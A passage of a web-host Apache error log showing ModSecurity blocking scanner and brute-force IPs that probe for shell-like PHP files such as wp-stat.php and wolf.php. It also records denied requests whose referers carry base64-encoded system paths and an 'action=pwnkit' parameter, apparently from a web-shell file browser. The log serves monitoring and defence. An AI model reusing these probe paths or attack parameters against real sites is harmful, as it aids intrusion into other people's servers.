https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:19.710389 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:19.922111 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.82:64398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:19.922387 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.82:64398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:19.929303 2026] [security2:error] [pid 531797:tid 532020] [client 191.234.188.123:63844] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-stat.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jLwAAAiw"] [Sat Jun 13 18:10:19.937362 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L2NtYWtl [Sat Jun 13 18:10:19.937652 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L2NtYWtl [Sat Jun 13 18:10:19.972411 2026] [security2:error] [pid 531155:tid 531160] [remote 185.177.9.148:46784] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.9.177.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beetreeaudio.net"] [uri "/wp-login.php"] [unique_id "ai3xaymiP80klyS0Nnr2tgABSgQ"], referer: https://beetreeaudio.net/wp-login.php [Sat Jun 13 18:10:20.135978 2026] [security2:error] [pid 531797:tid 532079] [client 20.151.217.54:9462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/asu.php"] [unique_id "ai3xbMTA7b1mZrmcA-8jNgAAAmU"] [Sat Jun 13 18:10:20.161807 2026] [lsapi:warn] [pid 531797:tid 531887] [remote 40.77.167.20:2382] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:10:20.161840 2026] [lsapi:warn] [pid 531797:tid 531887] [remote 40.77.167.20:2382] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:10:20.223708 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:20.224182 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:20.242451 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.104:59386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:20.242737 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.104:59386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:20.423207 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.96:48893] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:20.423595 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.96:48893] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:20.449187 2026] [security2:error] [pid 531155:tid 531314] [client 20.151.217.54:24005] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/x.php"] [unique_id "ai3xbCmiP80klyS0Nnr2vAAAASc"] [Sat Jun 13 18:10:20.455860 2026] [access_compat:error] [pid 531797:tid 531890] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9idXMvc3Bp [Sat Jun 13 18:10:20.456136 2026] [access_compat:error] [pid 531797:tid 531890] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9idXMvc3Bp [Sat Jun 13 18:10:20.525119 2026] [security2:error] [pid 531797:tid 531897] [remote 17.22.245.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbMTA7b1mZrmcA-8jQwACNiE"] [Sat Jun 13 18:10:20.650914 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.66:42082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:20.651348 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.66:42082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:20.688188 2026] [security2:error] [pid 531797:tid 531868] [remote 17.241.219.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbMTA7b1mZrmcA-8jSwACNQQ"] [Sat Jun 13 18:10:20.695969 2026] [security2:error] [pid 531155:tid 531386] [client 20.151.217.54:23993] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/invisi.php"] [unique_id "ai3xbCmiP80klyS0Nnr2wQAAAW8"] [Sat Jun 13 18:10:20.781779 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:10:20.782269 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:10:20.903904 2026] [security2:error] [pid 531155:tid 531379] [client 20.151.217.54:9464] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/wolf.php"] [unique_id "ai3xbCmiP80klyS0Nnr2xwAAAWg"] [Sat Jun 13 18:10:20.968829 2026] [access_compat:error] [pid 531797:tid 531899] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvZ3JhY2U= [Sat Jun 13 18:10:20.969154 2026] [access_compat:error] [pid 531797:tid 531899] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvZ3JhY2U= [Sat Jun 13 18:10:21.082180 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvZ3JhY2U= [Sat Jun 13 18:10:21.082460 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvZ3JhY2U= [Sat Jun 13 18:10:21.123335 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.64:24250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:21.123784 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.64:24250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:21.277464 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:10:21.277919 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:10:21.306518 2026] [security2:error] [pid 531797:tid 532125] [client 191.234.188.123:47986] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/zxcs.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jWwAAApA"] [Sat Jun 13 18:10:21.343065 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.111:42638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:21.343444 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.111:42638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:21.359134 2026] [security2:error] [pid 531155:tid 531287] [client 20.151.217.54:9345] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/rum.php"] [unique_id "ai3xbSmiP80klyS0Nnr2zwAAAQw"] [Sat Jun 13 18:10:21.402645 2026] [security2:error] [pid 531155:tid 531193] [remote 17.246.15.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbSmiP80klyS0Nnr20AABQSU"] [Sat Jun 13 18:10:21.432180 2026] [security2:error] [pid 531155:tid 531375] [client 191.233.234.186:40261] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xbSmiP80klyS0Nnr20QAAAWQ"] [Sat Jun 13 18:10:21.454920 2026] [security2:error] [pid 531797:tid 532096] [client 191.234.188.123:27599] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/vx.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jYgAAAnU"] [Sat Jun 13 18:10:21.480562 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZS94ZW4= [Sat Jun 13 18:10:21.480898 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZS94ZW4= [Sat Jun 13 18:10:21.486004 2026] [security2:error] [pid 531797:tid 531872] [remote 208.109.188.137:55176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yassbc-org.yourkatana.com"] [uri "/wp-login.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jZAACRwg"] [Sat Jun 13 18:10:21.536089 2026] [security2:error] [pid 531797:tid 531984] [remote 17.22.237.59:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 59.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jawACa3c"] [Sat Jun 13 18:10:21.593794 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94ZW4= [Sat Jun 13 18:10:21.594237 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94ZW4= [Sat Jun 13 18:10:21.645442 2026] [access_compat:error] [pid 531797:tid 531952] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:21.645746 2026] [access_compat:error] [pid 531797:tid 531952] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:21.712270 2026] [security2:error] [pid 531797:tid 531917] [remote 17.241.219.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jcgACFjU"] [Sat Jun 13 18:10:21.816592 2026] [security2:error] [pid 531797:tid 531980] [remote 104.155.29.73:40710] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.29.155.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "camera-roll.com"] [uri "/wp-login.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jdwACbnM"] [Sat Jun 13 18:10:21.869049 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:21.869322 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:21.957802 2026] [security2:error] [pid 531797:tid 531957] [remote 172.238.15.186:47734] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.15.238.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/wp-login.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jfAACXF0"] [Sat Jun 13 18:10:21.979084 2026] [security2:error] [pid 531797:tid 531941] [remote 17.246.23.243:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 243.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jfQACOE0"] [Sat Jun 13 18:10:21.983297 2026] [security2:error] [pid 531797:tid 532008] [client 20.151.217.54:9460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/cxl.php"] [unique_id "ai3xbcTA7b1mZrmcA-8jfgAAAiA"] [Sat Jun 13 18:10:22.005861 2026] [security2:error] [pid 531797:tid 531912] [remote 104.155.29.73:40710] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.29.155.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: 